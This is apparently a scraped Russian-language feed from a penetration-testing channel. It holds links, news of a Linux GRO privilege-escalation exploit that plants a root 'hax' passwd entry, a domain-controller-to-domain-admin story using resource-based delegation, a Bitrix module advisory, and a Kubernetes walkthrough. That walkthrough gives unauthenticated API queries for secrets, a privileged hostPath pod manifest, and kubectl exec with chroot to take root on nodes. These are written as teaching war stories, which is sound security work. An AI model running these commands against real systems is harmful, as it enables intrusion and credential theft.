Fsecurity | HH

🔗Ссылка: https://github.com/kiddo-pwn/ffffirefox

🔗 Ссылка: https://github.com/k1ng0fn0th1ng/CrystalForge

GRO Frag - седьмая уязвимость класса Copy Fail, предоставляющая права root в Linux В открытом доступе размещён эксплоит для седьмой уязвимости (1, 2-3, 4, 5, 6) в ядре Linux, позволяющей непривилегированному локальному пользователю получить права root, перезаписав данные в страничном кэше. CVE-идентификатор ещё не присвоен, кроме кода эксплоита информации о проблеме пока нет. Исправление доступно только в виде патча, который опубликован 20 мая и 21 мая был принят в основную ветку ядра Linux (корректирующие выпуски ядра ещё недоступны). Уязвимость присутствует в реализации технологии GRO (Generic Receive Offload), применяемой для ускорения обработки сегментированных пакетов. Уязвимость вызвана ошибкой в реализации механизма zerocopy в функции skb_gro_receive(), осуществляющей прямое изменение данных в страничном кэше для исключения лишней буферизации. При установленном флаге SKBFL_MANAGED_FRAG_REFS пропускалось сохранение ссылки на освобождаемые страницы памяти в поле shinfo->frags, после чего данное поле присоединялось к другому skb без изменения счётчика ссылок, что приводило к обращению к памяти после её освобождения (use-after-free). Проблему удалось эксплуатировать для перезаписи данных в страничном кэше, благодаря манипуляции с указателем на буфер io_uring. Атака возможна на системы с включённой подсистемой io_uring (io_uring_disabled=0). Для работы эксплоита в системе должен быть доступный на чтение исполняемый файл с флагом SUID-root. Механизм эксплуатации сводится к тому, что атакующий добивается оседания базы пользователей в страничном кэше, после чего подставляет в кэш строку "hax::0:0::/root:/bin/sh". Следом запускается команда "su hax", которая получает не оригинальную базу пользователей с накопителя, а изменённую копию с подставным логином "hax", которому выставлены права root и пустой пароль. Работа эксплоита протестирована в Ubuntu 24.04. 🔗 Ссылка: https://opennet.me/65504/

Сегодня расскажем ещё одну поучительную историю из практики наших пентестов. Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт. Условия задачи: — Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста. — Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты). — Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная. — Есть возможность подключения по SSH на linux-хост (без root-а). — Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше. Варианты решения: 1. Запустить агента Mythic — c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied. — загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение. 2. Получить сертификат — выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа. — запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа. 3. Unconstrained delegation Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали. 4. Прочитать пароль LAPS Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены. 5. Релеи Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было. 6. Сохранить учетные данные из реестра С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой. 7. Resource-based Constrained Delegation Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:

Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$

И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех. 8. Rubeus и т.п. Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто. Мораль: Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути.

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Всем хак! 👋 Некоторое время я отсутствовал — были непростые дни, потому что я сдавал экзамен CPTS от HackTheBox. Но главная цель этого поста — поблагодарить тех, кто поддерживал меня по‑разному. Каждый из вас знает, за что ему спасибо 👾 Огромная благодарность: - Lolichka - Hermano - Arrsi - .Morttyyy - TryNet - Ohiko P.S. Ваша помощь бесценна — спасибо! Также печальная новость: сервер наших партнёров Linux Team внезапно исчез — прошу вас заглянуть к ним и поддержать в восстановлении Отдельное спасибо всему сообществу Fsecurity 🫡

🚨Обнаружена Уязвимость в модуле для CMS Bitrix «INTEC:Ядро» от разработчика "INTEC". BDU пока нет, но судя по оперативной реакции, предположу что уязвимость Критическая. Я не разработчик и наверное что-то не понимаю в безопасном написании кода, но возможно стоит на админских эндпоинтах использовать админскую проверку prolog_admin_before.php вместо обычной prolog_before.php. (Bitrix-аутентификация администратора не проверяется. Скрипт контейнера сохраняется в БД и выполняется через eval() при рендере страницы.) Уязвимый модуль установлен на более чем 1000 ресурсах. Рекомендуют: ➡️ Восстановить резервную копию сайта от 27.04.2026 или более ранней даты. ➡️ Установить последние обновления (актуальная версия 1.2.30) модуля Intec.Core. ➡️ Обновить систему 1С-Битрикс до последней актуальной версии. 💫 @pentestnotes

🔗Ссылка: https://codeby.net/threads/sotsial-naya-inzheneriya-metody-atak-i-prakticheskaya-zashchita.92632/

Ресурс redteam.community продолжает развиваться, и вот недавно там появился раздел с конференциями, где собирают все доклады с прошедших ивентов, и есть анонсы на будущие)) Еще там много других ресурсов, лаб, а в разработке новые разделы, так что можно следить) #info

👉🏻

👈🏻

MiniPlasma (Windows unpatched LPE) CVE-2020-17103 was apparently not patched or the patch was reversed, regardless this the PoC for an LPE in cldflt.sys, weaponized to spawn a SYSTEM shell. Success rate may vary since it's a race condition.

🔗Ссылка: https://habr.com/ru/articles/1032726/

Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры. На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API? К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах. Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде. После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом. Выводы: Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ. Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать. Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.

🔗Ссылка: https://habr.com/ru/articles/1033468/

🔗Ссылка: https://habr.com/ru/articles/1033530/

🔗Ссылка: https://github.com/adnxy/rnsec

🔗Ссылка: https://github.com/AabyssZG/HashDump-BypassEDR

🔗Ссылка: https://codeby.net/threads/sertifikatsiya-po-pentestu-oscp-vs-ceh-vs-ejpt-vs-pnpt-chestnoye-sravneniye-ot-praktika.92610/